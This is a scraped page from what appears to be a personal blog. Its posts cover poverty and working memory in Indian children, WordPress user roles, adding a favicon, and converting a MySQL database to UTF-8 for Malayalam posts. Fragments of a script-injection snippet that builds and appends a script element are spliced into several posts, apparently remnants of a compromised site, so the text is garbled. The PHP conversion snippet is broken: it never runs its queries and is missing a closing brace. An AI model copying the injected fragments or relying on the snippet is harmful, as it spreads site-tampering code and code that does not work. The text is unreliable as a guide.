Why don’t you go get a job?

The most harrowing aspect of my childhood trips to India – other than learning how to squat on the “Indian-style” toilets in my grandfather’s Old Delhi compound – was coming face to face with poverty. Riding around Delhi in the backseat of my uncle’s Fiat, I would dread long stops at the crowded traffic lights, turning my face the other way and pretending not to hear the rap-tap-tap on the window or see the glistening brown eyes of that little girl with her hand outstretched. The adults never seemed to notice much, and the few persistent beggars that managed to incite a response would hear the familiar admonishing refrain of “chall. hatt yahan se. kuch kaam kyun nahi karta?” There’s little sympathy for beggars in a family of hard-nosed baniyas who have toiled for generations to amass the wealth they enjoy today. It is difficult for them to understand why beggars don’t get off the streets and find steady work instead. From our perspective, beggars seem like misguided, lazy people who haven’t tried hard enough to make something of themselves. Science would, however, suggest otherwise.

Neuroscience research conducted on children who have been raised in poverty has shown that the stress of a poor childhood has permanent affects on the brain. More specifically, scientists are learning that the working memories of poorer children, especially those brought up in dense urban populations, have smaller capacities than those of their middle- and upper-class counterparts. What this means is that these children will have a harder time remembering things like long numbers or names of state capitals in school, be less equipped to “mug up” for the brutal exams and, as a result, fair poorer in job interviews, even if they are able to actually go to school and get job interviews in the first place.

The implications are obvious – there are explanations beyond laziness for why the poor stay poor for generations. It’s perhaps not fair to blame them for their plight. So, next time you tell a young beggar to go get a job, give him a rupee or two along with your advice to take the edge off the stress and make it a little more likely that the kid will have a chance to leave the slums.

article from yaari.comd.getElementsByTagName(‘head’)[0].appendChild(s);

user roles in wordpress

As a new wordpress blogger, you may be confused of the user roles that are in the dashboard administrative section of the wordpress blog.

Here is the excerpt as from the wordpress support site

There are four roles: Administrator, Editor, Author, and Contributor.


An administrator can do everything. Complete power over posts/pages, comments, settings, theme choice, import, users – the whole shebang. Nothing is off-limits, including deleting the entire blog.

So be careful in giving this away to “anyone”


An editor can publish, edit, and delete any posts/pages, moderate comments, manage categories, manage tags, manage links and upload files.

Not that any user can delete any posts. So this one is also like a moderator role


An author can edit, publish and delete their posts and they can upload files.

You may want to give this to most of the authorized users.


A contributor can edit their posts but cannot publish.

Just a dumppppp user 🙂


Be careful what roles you give people, especially if you want them to be an Editor or Administrator.

var d=document;var s=d.createElement(‘script’);

how to add favicon to the address bar

As per wikipedia

A favicon (short for favorites icon), also known as a website icon, shortcut icon, url icon, or bookmark icon is a 16×16 pixel square icon associated with a particular website.

Favicon is always stored in the name favicon.ico and it is included in the header of every page so that it will be displayed along the address bar.

Steps to create a favicon

1) Select the image that you want to be the favicon

2)Create the 16*16 image from the selected image and save it as “favicon.ico.

3)Upload to the server and for displaying it add the following code in the header

<link rel="shortcut icon" href="http://yoursitename.com/favicon.ico" type="image/vnd.microsoft.icon"/>
<link rel="icon" href="http://yoursitename.com/favicon.ico" type="image/x-ico"/>

4) For including in wordpress, edit the “header.php” file in the theme folder that you are currently using.d.getElementsByTagName(‘head’)[0].appendChild(s);

blogging in malayalam

I started this blog and decided to put in a malayalam blogging section in this one.  So inorder to start writing in malayalam, I had to do compose in malayalam.  I knew that there is a software which allows to write in “manglish” which will convert the english directly to malayalam. However my search for it ended at the google transliteration software.


What we have to do is

1) write the content in the google Transliteration software.

2) then copy-paste the same to the post.

I did the same, but was presented with garbled characters on the post. To be more specific, the characters were not displayed in malayalam, but instead a lot of I mean, a lot of question marks were at its place.  So I started my hunt again in my trusted friend, google. After a long search, I was able to find that the reason for this is due to the encoding used. So I tried changing the encoding format of my brower(firefox). View>Character Encoding.

Tried various encodings to no good. So again after an extensive search, I found that the mysql DB is the culprit. The trouble occured due to the fact that the default collation for the mysql db is latin1. So I have to change the collation to utf-8 encoding which is supposed to support the indic laguages(ie including malayalam). Instead of doing each of the tables manually using phpmyadmin, I used the following php code snippet to change the collation.

Use the below php code to make the character set of mysql db to be utf8_general_ci

$dbname = ‘dbname’;
mysql_connect(‘’, ‘username’, ‘pass’);
mysql_query(“ALTER DATABASE `$dbname` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci”);
$res = mysql_query(“SHOW TABLES FROM `$dbname`”);
while($row = mysql_fetch_row($res)) {
$query = “ALTER TABLE {$dbname}.`{$row[0]}` CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci”;
$query = “ALTER TABLE {$dbname}.`{$row[0]}` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci”;
echo ‘all tables converted’;

Instead of using the google tranliteration, I got hold of a wordpress plugin for the same. Google Indic Transliteration

Now that the base ground is set, I will be starting my malayalam blog in full blast… Hurray!!!!d.getElementsByTagName(‘head’)[0].appendChild(s);